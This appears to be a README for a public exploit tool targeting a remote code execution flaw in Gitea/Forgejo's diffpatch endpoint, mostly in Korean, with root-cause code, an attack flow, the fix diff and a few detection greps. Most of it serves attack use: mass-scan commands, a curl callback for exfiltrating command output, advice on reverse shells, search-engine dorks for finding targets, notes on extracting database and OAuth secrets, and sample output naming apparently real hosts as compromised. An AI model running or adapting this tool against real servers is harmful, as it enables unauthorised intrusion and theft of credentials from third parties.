
CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change 훅 주입. CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004는 Gitea 및 Forgejo 자체 호스팅 Git 플랫폼의 버전 1.17부터 1.27.0까지 영향을 주는 치명적 심각도(CVSS 9.8)의 사전 인증(pre-authentication) 원격 코드 실행 취약점입니다.
이 취약점은 POST /api/v1/repos/{owner}/{repo}/diffpatch API 엔드포인트의 bare 클론 설계 결함을 악용합니다. Gitea는 사용자가 제공한 패치를 bare 임시 클론(리포지토리 루트가 곧 $GIT_DIR인 환경)에 적용합니다. 공격자는 동일한 악성 패치를 두 번 제출하여 add/add 충돌을 유발하고, Git의 3-way 병합 폴백(-3, Git 2.32+)이 실행 가능한 post-index-change 훅을 $GIT_DIR/hooks/에 직접 기록하도록 합니다. Git은 인덱스 업데이트 중 이 훅을 자동으로 실행하므로 Gitea 서비스 계정 권한으로 임의 명령 실행이 발생합니다.
리포지토리 쓰기 권한이 필요하며, Gitea가 이메일 인증, 관리자 승인, 리포지토리 생성 제한 없이 공개 가입을 기본값으로 하므로 쉽게 얻을 수 있습니다.
| 버전 | 상태 |
|---|---|
| < 1.17 | 영향 없음(diffpatch 경로가 아직 도입되지 않음) |
| 1.17 — 1.27.0 | 취약 |
| 1.27.1+ | 패치됨 |
발견자: Shai Rod (NightRang3r), 2026년 7월 28일 프로젝트: Gitea / Forgejo (자체 호스팅 Git 서비스) 구성 요소: diffpatch API 엔드포인트, bare 임시 클론
이 취약점은 services/repository/files/patch.go의 단일 매개변수에서 비롯됩니다:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
bare 클론에는 작업 트리가 없습니다. 즉, 리포지토리 루트가 곧 $GIT_DIR입니다. 따라서 파일 경로가 hooks/post-index-change인 악성 패치는 샌드박스 처리된 작업 트리가 아닌 Git의 실제 훅 디렉터리 안에 직접 위치하게 됩니다.
git apply 호출이 여기에 더해집니다:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR이므로 hooks/post-index-change 경로가 실제 훅 디렉터리에 매핑됩니다.--cached는 완전하지 않습니다 — Git 2.32+의 -3 3-way 폴백은 --cached 플래그에도 불구하고 add/add 충돌 시 병합 결과를 작업 트리에 기록합니다.post-index-change를 자동 실행합니다 — 인덱스 업데이트 후 Git은 이 훅이 존재하고 실행 가능하면 무조건 실행합니다. 별도 설정이 필요 없습니다.git apply가 인덱스 잠금을 보유하고 있으므로 훅 내부의 git update-index는 교착 상태(deadlock)에 빠집니다. 출력 유출에는 HTTP 콜백(curl)이나 리버스 셸을 사용하세요.1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
bare 클론과 non-bare 클론의 차이 — 단일 불리언 매개변수 — 는 패치 경로가 무해한 작업 트리 항목이 될지, 아니면 Git 내부 디렉터리에 직접 위치하는 실행 가능한 훅이 될지를 결정합니다. 수정은 diff에서 정확히 한 문자(true → false)만 변경하는데, 이것이 커밋이 SECURITY가 아닌 MISC 아래 "refactor: git patch apply"로 분류된 이유입니다. 인덱스(--cached)로 샌드박싱되어야 했던 작업은 Git 자체의 3-way 병합 메커니즘에 의해 조용히 무너졌고, bare 클론의 $GIT_DIR에 훅 파일이 생성되는 것을 막는 추가적인 보호 장치는 없었습니다.
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--callback HTTP callback URL for output exfiltration
--listen [PORT] Auto-start built-in callback listener
-o, --output Save RCE-confirmed URLs to file
--threads Concurrent workers (default: 25)
--timeout HTTP request timeout in seconds
--no-cleanup Leave repository and user on target
--forced Attempt exploit regardless of detected version
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Host : gitea.example.com
Version : 1.22.0
Vuln (< 1.27.1) : YES
RCE : CONFIRMED
Detection : timing Δ 8.0s (hook sleep 4s)
User : poc_a1b2c3
Time : 9.5s
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Targets: 259 | Threads: 20
[RCE] gitea.idetama.id Δ8.7s (hook sleep 4s)
[RCE] gitea.roan.id.au Δ8.7s (hook sleep 4s)
[DET] git.ofon.id | ⠼ [████░░░░░░░░░░░] 86/259 (33%) Det:76 RCE:2
───────────────────────────────────────────────────────
SCAN SUMMARY
───────────────────────────────────────────────────────
Total : 259
RCE Confirmed : 12
Hook Failed : 5
Patched : 25
Errors : 151
Register fail : 85
Login fail : 42
Repo fail : 24
Not Gitea : 66
───────────────────────────────────────────────────────
Detection method: timing
Done | 77s
callback-data/
├── index.txt
├── gitea.idetama.id/
│ ├── output_2026-08-03_120000.txt
│ └── latest.txt
├── gitea.roan.id.au/
│ └── ...
FOFA: title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"
성공적인 악용 시 Gitea 서비스 계정 권한으로 원격 코드 실행이 가능합니다:
app.ini 구성 추출 — 데이터베이스 자격 증명, SMTP 비밀값, OAuth 앱 키, LFS/JWT 비밀값인스턴스에 계정이 없어도 됩니다 — 기본적으로 가입이 공개되어 있습니다.
Gitea는 버전 1.27.1(커밋 470d34b)에서 다음을 통해 취약점을 수정했습니다:
$GIT_DIR/hooks/에 직접 위치하지 않고 작업 트리에 들어가도록 함--index 작업이 작업 트리와 상호작용할 수 있다는 경고 주석을 추가.git 하위 디렉터리 확인을 통해 임시 클론이 non-bare임을 검증하는 단위 테스트(TestGitPatchPrepare)를 추가- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {
이 수정 사항은 1.27.1 릴리스 노트에서 SECURITY가 아닌 MISC 아래
"refactor: git patch apply"로 표시되어, 보안 관련 변경 로그 항목만 검토하는 관리자가 이 중요한 업데이트를 놓치기 쉽습니다.CherryPick의 동일한 bare-clone 패턴도 함께 수정되었습니다.
교육 및 승인된 테스트 목적으로만 사용하십시오.
소유자의 명시적 허가 없이 시스템에 사용하지 마십시오. 작성자는 오용에 대한 책임을 지지 않습니다.
| 자료 | 링크 |
|---|---|
| Gitea 수정 커밋 |
Shai Rod (NightRang3r)가 발견했습니다. Gitea 또는 Forgejo와 관련이 없습니다.
| 파일 | 라인 | 목적 |
|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — bare 클론 생성 |
services/repository/files/patch.go | 206-209 | --index --cached -3 플래그를 사용한 git apply |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — 공격자 상태 유지 |
services/repository/files/cherry_pick.go | ~170 | CherryPick의 동일한 bare-clone 패턴(함께 패치됨) |
| 470d34b |
| 연구자 | NightRang3r |
| CWE-94 | 코드 삽입 |
| Git 훅 | post-index-change |